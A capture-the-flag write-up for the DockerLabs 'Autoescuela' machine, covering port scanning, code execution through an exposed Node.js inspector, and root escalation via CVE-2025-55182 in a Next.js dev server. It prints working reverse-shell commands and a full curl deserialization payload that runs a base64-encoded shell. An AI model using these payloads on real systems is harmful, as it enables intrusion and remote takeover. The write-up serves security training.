> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/autoescuela.md).

# Autoescuela

| Field               | Details    |
| ------------------- | ---------- |
| **Platform**        | DockerLabs |
| **OS**              | Linux      |
| **Difficulty**      | Easy       |
| **Personal Rating** | ⭐⭐⭐☆☆      |
| **Date**            | 2026-04-16 |
| **Author**          | Zaiden     |

***

### Summary

**Attack Path:** `Recon` → `Node.js Inspector (port 9229)` → `RCE as webuser` → `CVE-2025-55182 React2Shell` → `Root`

***

### 1 - Reconnaissance

#### 1.1 Fast Port Scan

We begin with a fast Nmap scan to identify all open ports:

```bash
nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5
```

**Result:** Ports `22`, `80`, `139` and `445` are open.

<figure><img src="/files/ltkhTp08SUPAUBDyK898" alt=""><figcaption></figcaption></figure>

***

#### 1.2 Targeted Port Scan

Now we run a service and version detection scan targeting only the open ports found above:

```bash
nmap 172.17.0.2 -p 22,80,139,445 -sS -Pn -sCV
```

<figure><img src="/files/O7BoDYozWc0hh6VDctbE" alt=""><figcaption></figcaption></figure>

***

#### 1.3 Exploit Search

We check for known exploits or shellcodes for the detected services:

```bash
searchsploit nodejs
```

***

### 2 - Exploitation

#### 2.1 Vulnerability Identified

The Node.js inspector is exposed on `172.17.0.2:9229`. This allows any attacker on the network to connect and execute JS within NodeJS debugger.

* **Vulnerability:** Exposed Node.js Inspector / Debug Port
* **CVE (if any):** N/A
* **Affected Service/Component:** Node.js (port 9229)

***

#### 2.2 Step-by-Step Walkthrough

**Step 1 — \[Connect to the Node.js Inspector]**

```bash
node inspect 172.17.0.2:9229
```

<figure><img src="/files/6VTgtFdGdnvD1BuoFdc3" alt=""><figcaption></figcaption></figure>

*Successfully connecting to the remote Node.js debugger.*

**Step 2 — \[Inject a Reverse Shell]**

```bash
penelope -p 3110 #On a different terminal

exec("process.mainModule.require('child_process').exec('/bin/bash -c \"/bin/bash -i >& /dev/tcp/172.17.0.1/3110 0>&1\"')")
```

<figure><img src="/files/SHvGePlFMTah2qfBOHqt" alt=""><figcaption></figcaption></figure>

*Reverse shell received as webuser, automatically upgraded to PTY by Penelope*

***

#### 2.3 Proof of Concept

```bash

node inspect 172.17.0.2:9229

penelope -p 3110

exec("process.mainModule.require('child_process').exec('/bin/bash -c \"/bin/bash -i >& /dev/tcp/172.17.0.1/3110 0>&1\"')")

```

***

#### 2.4 Loot

| Item     | Value     |
| -------- | --------- |
| Username | webuser   |
| Shell    | /bin/bash |

#### 2.5 User.txt Flag

```bash
cd
cat user.txt
```

<figure><img src="/files/41X5BzaV6RtaN1ja8jpa" alt=""><figcaption></figcaption></figure>

Flag: `DL{g2QrDUvg3HiqaWeZBbZa}`

***

***

### 3 - Privilege Escalation

#### 3.1 Enumeration Checklist

```bash
ps aux
cat /entrypoint.sh
```

<figure><img src="/files/eQmPMhOaPyMHu9vXvxeA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/v4bdm6rSXwmpv7CuhZQn" alt=""><figcaption></figcaption></figure>

*The entrypoint script documents the attack surface, a Next.js dev server running as root on 127.0.0.1:3000, vulnerable to CVE-2025-55182*

***

#### 3.2 PrivEsc Method

* **Vector:** CVE-2025-55182 (React2Shell)

```bash
git clone https://github.com/kOaDT/poc-cve-2025-55182.git
cd poc-cve-2025-55182
echo 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1' | base64

curl -s http://127.0.0.1:3000/ \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  -F '0={"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"require(\"child_process\").execSync(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo=|base64 -d|bash\")","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}' \
  -F '1="$@0"' \
  -F '2=[]'

```

<figure><img src="/files/Ot7nzfAxiLB8PyLsVE9g" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6YMArBi8TM5Q9GU1bdkS" alt=""><figcaption></figcaption></figure>

***

### 4 - Root Flag

```bash
cd
cat root.txt
```

<figure><img src="/files/oVtcRMVx83Slx6mCKghy" alt=""><figcaption></figcaption></figure>

Flag: `DL{Z8Gc5NFYMrH3W4vv5ZWa}`

***

### 5 - Lessons Learned

#### What Worked Well

* Recognizing port 9229 as the Node.js inspector immediately narrowed the attack vector
* Reading `/entrypoint.sh` gave a complete picture of the internal attack surface

#### Rabbit Holes / What Didn't Work

* Attempted reverse shell via `>&` operator inside the CVE payload, failed because the shell spawned by `execSync` uses `/bin/sh`, which doesn't support that syntax

#### New Tools or Techniques Used

* Penelope listener with automatic PTY upgrade
* CVE-2025-55182 (React2Shell), a prototype chain traversal via React Flight protocol deserialization
* Base64-encoded payloads to bypass JSON escaping issues

***